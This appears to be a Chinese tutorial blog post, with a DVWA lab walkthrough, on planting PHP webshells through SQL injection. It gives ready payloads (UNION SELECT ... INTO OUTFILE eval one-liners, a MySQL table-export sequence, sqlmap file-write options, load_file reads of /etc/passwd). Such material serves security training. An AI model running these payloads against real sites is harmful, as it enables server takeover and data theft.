利用SQL注入植入 webshell

2021-10-03 07:17:07 字數 4323 閱讀 2592

這裡小結一下通過sql注入寫入webshell的方法。

通過sql注入select into outfile實現,如:

1' union select 1,'<?php eval($_post[a]);?>' into outfile '/var/www/tmp/nb.php'#

前提都是需要對目標目錄具有寫許可權。

互動式命令執行,注意在使用互動式方式時需要知道**的絕對路徑,執行成功之後在絕對路徑

下建立檔案返回結果,然後再自動刪除。

寫webshell,會生成兩個檔案,tmpbshrd.php和tmpucnll.php,分別為命令執行和檔案上傳webshell。

注意:關閉sqlmap檔案就會被刪除。

先在sqlmap的目錄建立mst目錄,然後在該目錄中建立mst.txt,內容為一句話木馬,之後需要兩個引數即本地檔案位址和目標檔案位址,--file-write "./mst/mst.txt" --file-dest "**的絕對路徑/1.php"。

注意需要最高許可權。

mysql寫木馬,通常可以通過phpmyadmin來實現。

前提條件:有讀寫的許可權,有create、insert、select的許可權。

1、建立乙個表

create table a (cmd text not null);

2、插入資料

insert into a (cmd) values('<?php eval($_post['password']);?>');

3、匯出一句話

select cmd from a into outfile '/var/www/tmp/webshell.php';

4、刪除表

drop table if exists a;

**嚶嚶嚶 哈哈哈** 以上是一種寫法 是從一篇文章那搞過來的 下面是另一篇 用dvwa寫的

**:這篇文章談論簡單的技術,利用sql注入(sqli)漏洞,並獲得乙個webshell,所有的演示都是用dvwa(滲透測試演練系統).對於sql注入利用,有以下幾個基本步驟:

1,發現sql注入點;

2,通過mysql資料庫幫助,進一步進行注入,獲取帳號密碼等敏感資訊;

3,上傳webshell,獲得乙個反向連線。

1.發現sql注入點

識別sql注入是關鍵的一步,它需要大量的技能和經驗來確定注入點。通過適當的分析應用程式,可以判斷什麼地方存在注入點。在下面的螢幕截圖所示,「id」欄位中可能會受到sql注入。程式功能需要乙個整數做為使用者輸入,提交之後會顯示該id對應的姓名。

當我們在使用者id中加乙個單引號(『),會看到產生了資料庫的報錯,本次演示使用的是mysql資料庫。

之所以產生錯誤是因為,輸入的使用者id中,單引號不是乙個整數型別的,導致後端sql查詢產生了錯誤,可以想象一下後端sql查詢語句大概是這樣:

mysql>select first_name,last_name from users where user_id=」;

如果輸入變成了非整數型別的單引號,sql語句就會變成如下:

mysql> select first_name, last_name from users where user_id=」』 ;

因此,產生了乙個語法錯誤,所以注入點被確定為id欄位。前端的該語句是會在後端的sql伺服器進行執行的,這將使sql注入變為可能。

2,通過mysql資料庫幫助,進一步進行注入,獲取帳號密碼等敏感資訊;

進一步嘗試猜測後端查詢語句,從而獲取mysql版本、資料庫名稱、列數等,通過前端的報錯等我們猜測後端的查詢語句是這樣的:

mysql>select first_name,last_name for user where user_id=1;

以上只是胡亂猜測,我們需要通過mysql語句更進一步的進行測試,開始使用order by 。order by 語句可以對查詢結果進行排列,上面的語句中有兩列,使用order by 語句可以按照第一列first_name或者第二列last_name對結果進行排列。假如我們想根據第三列對結果進行排序,因為查詢語句中不存在第三列,就會產生報錯:

當我們使用order by 2的時候沒有產生任何錯誤,而使用order by 3的時候產生報錯,說明資料庫中只有兩列;通過這種方法我們可以使用order by語句猜測資料庫表中的列數。

user id輸入』 order by 3+–+的時候,後端sql查詢語句如下:

mysql>select first_name,last_name from user where user_id=」order by 3+- -+』

可以看到因為不存在第三列會產生報錯。

user id輸入』order by 2+–+的時候,後端查詢語句如下:

mysql>select first_name,last_name from user where user_id=」order by 2+- -+』

可以看到沒有產生任何錯誤。

接下來進一步使用union查詢語句

為什麼要使用聯合查詢?

union查詢結合了兩個select查詢結果,根據上文中的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢了結合我們構造的另外乙個select.注意在使用union查詢的時候需要和主查詢的列數相同。

mysql> select first_name, last_name from users where user_id=」union select 1,2 ;

使用union select之後可以看到查詢結果顯示在了頁面上.

繼續構造union select語句,來查詢正在使用中的使用者和資料庫,用以下語句

『union select 1,version()+- -+查詢資料庫的版本。

使用聯合查詢語句構造,利用注入讀取/ect/passwd 檔案(linux系統)

union select 1, load_file(/etc/passwd) +- -+

使用聯合查詢語句構造,利用注入讀取c:\1.txt (windows系統)

union select 1, load_file(『c:\\1.txt』) +- -+        或者

3.利用sql注入寫入webshell

假設我們通過phpinfo檔案知道了**的物理路徑,接下來我們通過使用union select語句來寫入webshell.寫入需要你有寫入許可權等。

『 union select 1,』<?php eval($_post[cmd]);?>『 into outfile 『/var/www/dvwa/cmd.php』 +- -+

『 union select 1,』<?php eval($_post[cmd]);?>』 into outfile 『c:\\2.php』+- -+

本文中用到的dvwa(滲透測試演練系統):    帳號密碼: admin password,  暫時因為環境不支援sql injection漏洞的演練。

這裡小結一下通過sql注入寫入webshell的方法。

DVWA之從SQL注入到寫入webshell

這篇文章談論簡單的技術,利用sql注入 sqli 漏洞,並獲得乙個webshell,所有的演示都是用dvwa 滲透測試演練系統 對於sql注入利用,有以下幾個基本步驟 1,發現sql注入點 2,通過mysql資料庫幫助,進一步進行注入,獲取帳號密碼等敏感資訊 3,上傳webshell,獲得乙個反向連...

SQL手工注入 報錯注入利用

利用資料庫的bug進行利用,看報錯資訊,不過報錯的資訊就是我們想要的資訊。只要是count rand group by 三個連用就會造成這種報錯。count用於判斷資料庫或表的數量,rand用於生成乙個隨機數,group by用於以什麼為一組進行分組。至少要有三條資料 才有可以產生報錯注入。floo...

利用sql報錯幫助進行sql注入

我們可以利用sql報錯幫助進行sql注入,這裡以sql server 為例 sql查詢時,若用group by子句時,該子句中的字段必須跟select 條件中的字段 非聚合函式 完全匹配,如果是select 那就必須將該表中所有列名都包含在group by 中 若少了哪個,就會報錯,報錯中會提示如下...